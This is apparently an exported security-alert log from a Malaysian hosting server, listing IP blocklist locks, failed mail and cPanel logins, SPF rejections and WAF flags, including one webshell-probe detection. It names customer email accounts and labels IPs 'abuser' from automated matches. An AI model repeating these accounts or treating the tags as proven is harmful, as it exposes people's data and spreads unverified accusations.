IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-19.50.3.136.225||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.154.84.190
country_id: 2287781
description:
Jan 16 14:20:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.154.84.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.190
country_id: 2287781
description:
2026-01-16 14:20:35 dovecot_login authenticator failed for H=([160.154.84.190]) [160.154.84.190]:41081: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.35.3
country_id: 1269750
description:
Jan 16 14:21:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.35.3 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 14:21:37 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.145
country_id: 3469034
description:
Jan 16 14:21:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.151.234
country_id: 1269750
description:
Jan 16 14:22:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.151.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.151.234
country_id: 1269750
description:
2026-01-16 14:22:27 dovecot_plain authenticator failed for H=(poageosic) [182.78.151.234]:54138: 535 Incorrect authentication data (set_id=info@u-net.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.17
country_id: 3469034
description:
Jan 16 14:23:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 16 14:23:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 16 14:24:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:24:18 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.190
country_id: 2750405
description:
2026-01-16 14:24:20 166975 [Warning] Aborted connection 166975 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.190' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.99
country_id: 3175395
description:
Jan 16 14:24:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.99 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:25:03 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9182244287/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.126
country_id: 3469034
description:
Jan 16 14:25:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:26:04 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9182244287/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.36.213.219
country_id: 1168579
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Accessories/Comparison Stretch Film - 2A-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:27:05 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9182244287/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 14:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58194: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.60
country_id: 6252001
domain: acburn.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.196
country_id: 3469034
description:
Jan 16 14:28:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.196 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.246.229
country_id: 1733045
description:
[2026-01-16 14:30:40 +0800] info [webmaild] 27.125.246.229 - cmchin@chs.com.my "POST /cpsess6264009170/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.246.184] != Current IP Address [27.125.246.229]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.9
country_id: 3469034
description:
Jan 16 14:31:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.23.122.194
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.9
country_id: 3469034
description:
Jan 16 14:32:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 14:32:11 H=([45.144.212.50]) [45.144.212.50]:52970 F=<arm@da-desk.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.210
country_id: 2300660
description:
Jan 16 14:32:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.110.83.5
country_id: 1814991
description:
Jan 16 14:33:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.110.83.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.5
country_id: 1814991
description:
2026-01-16 14:33:12 dovecot_login authenticator failed for H=(yboqw) [171.110.83.5]:63842: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.190.178.207
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/speed/18/329/1836442 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 14:33:30 H=([45.144.212.50]) [45.144.212.50]:57164 F=<arm@da-desk.com> rejected RCPT <astbki@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.191.159.134
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/guzzlehttp/psr7/src/DroppingStream.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.93.155.108
country_id: 1269750
description:
Jan 16 14:35:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.93.155.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.155.108
country_id: 1269750
description:
2026-01-16 14:35:07 dovecot_plain authenticator failed for H=(jtfwotu5y8tvcsuds0wdr76vt3hr) [59.93.155.108]:53973: 535 Incorrect authentication data (set_id=2096jasonkua@printspecsolution.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:35:15 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.251.61.45
country_id: 6251999
description:
2026-01-16 14:36:34 dovecot_plain authenticator failed for H=(cgjjuoh10wdfz6mc56touum1q) [198.251.61.45]:42753: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:37:56 H=([45.144.212.242]) [45.144.212.242]:57933 F=<no_reply@admin.com> rejected RCPT <enquiry@nexuscollection.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:38:06 H=([45.144.212.242]) [45.144.212.242]:60838 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.198.27
country_id: 2510769
description:
Jan 16 14:39:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.198.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.66
country_id: 3469034
description:
Jan 16 14:39:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.6
country_id: 3469034
description:
Jan 16 14:39:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:39:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41074: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:40:40 H=([45.144.212.242]) [45.144.212.242]:65190 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.6
country_id: 3469034
description:
Jan 16 14:39:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:41:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:45446: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 14:42:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.175
country_id: 6252001
description:
2026-01-16 14:43:31 167947 [Warning] Aborted connection 167947 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.175' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 14:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61728: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:44:54 H=([45.144.212.242]) [45.144.212.242]:57972 F=<no_reply@admin.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.137.99.176
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-45.64.137.99.176||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.15.100.139
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/jump/548/135187 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.203
country_id: 2510769
description:
Jan 16 14:49:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.221.184
country_id: 3865483
description:
Jan 16 14:50:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.221.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.140
country_id: 798544
description:
Jan 16 14:52:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.5
country_id: 3175395
description:
Jan 16 14:52:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.193
country_id: 3469034
description:
Jan 16 14:52:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.193
country_id: 3469034
description:
Jan 16 14:53:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.77.53.110
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/doctrine/instantiator/CONTRIBUTING.md HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.132.153
country_id: 1269750
description:
Jan 16 14:53:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.132.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 14:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58233: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.119.85
country_id: 99237
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/author/master HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.203.155
country_id: 3469034
description:
Jan 16 15:03:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.203.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.125
country_id: 3077311
description:
Jan 16 15:03:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.152
country_id: 1814991
description:
2026-01-16 15:03:37 dovecot_login authenticator failed for H=(hixww) [171.110.83.152]:49507: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.215
country_id: 3469034
description:
Jan 16 15:03:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.128
country_id: 298795
description:
Jan 16 15:04:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.0.46
country_id: 953987
description:
Jan 16 15:04:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.0.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.152
country_id: 1814991
description:
2026-01-16 15:03:57 dovecot_login authenticator failed for H=(urmop) [171.110.83.152]:49507: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 15:06:03 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.111.94
country_id: 6290252
description:
Jan 16 15:06:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.111.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.209
country_id: 2395170
description:
Jan 16 15:06:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.162
country_id: 1269750
description:
Jan 16 15:07:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41081: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:08:43 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46062: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.36.251.4
country_id: 6251999
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/loreal/articles/science-and-technology/l-oreal-modiface-brings-ai-powered-virtual-makeup-try-ons-to-amazon/index.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.231
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn.cookielaw.org/scripttemplates/otSDKStub.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/css/bundle187b.css?v=2.69.0-release00000003 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.50.228
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-09.198.145.50.228||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:08:59 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46063: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/vendors.bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.192.97.23
country_id: 1861060
description:
Jan 16 15:09:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.192.97.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.97.23
country_id: 1861060
description:
2026-01-16 15:09:18 dovecot_login authenticator failed for H=www.shirakami.or.jp [203.192.97.23]:59612: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.188.178.151
country_id: 6252001
description:
[2026-01-16 15:09:23 +0800] info [cpaneld] 70.188.178.151 - wohcheon "GET /login/?login_only=1&user=wohcheon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wohcheon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.219.21
country_id: 1282988
description:
[2026-01-16 15:09:01 +0800] info [cpaneld] 103.134.219.21 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.215
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn-cgi/challenge-platform/h/g/scripts/jsd/7a55c9ccbaaa/maind41d.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.216.119.9
country_id: 6252001
description:
[2026-01-16 15:09:25 +0800] info [cpaneld] 217.216.119.9 - wohcheo "GET /login/?login_only=1&user=wohcheo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wohcheo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.186.201.62
country_id: 1269750
description:
Jan 16 15:10:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.186.201.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.201.62
country_id: 1269750
description:
2026-01-16 15:10:52 dovecot_login authenticator failed for H=(nsg-corporate-62.201.186.122.airtel.in) [122.186.201.62]:36350: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 15:12:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61839: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.178.178.78
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/exhibition.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.145.107.251
country_id: 6252001
description:
Jan 16 15:14:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.145.107.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-01-16 15:15:01 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (ceous) [73.145.107.251]:60328: 535 Incorrect authentication data (set_id=engkong.wee@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.206
country_id: 3469034
description:
Jan 16 15:20:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.206 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.140.182.69
country_id: 1643084
domain: vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/vc-b.com.my/imagescan/index.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.41
country_id: 3175395
description:
Jan 16 15:21:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.30.79
country_id: 933860
description:
Jan 16 15:21:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.30.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 15:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58264: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
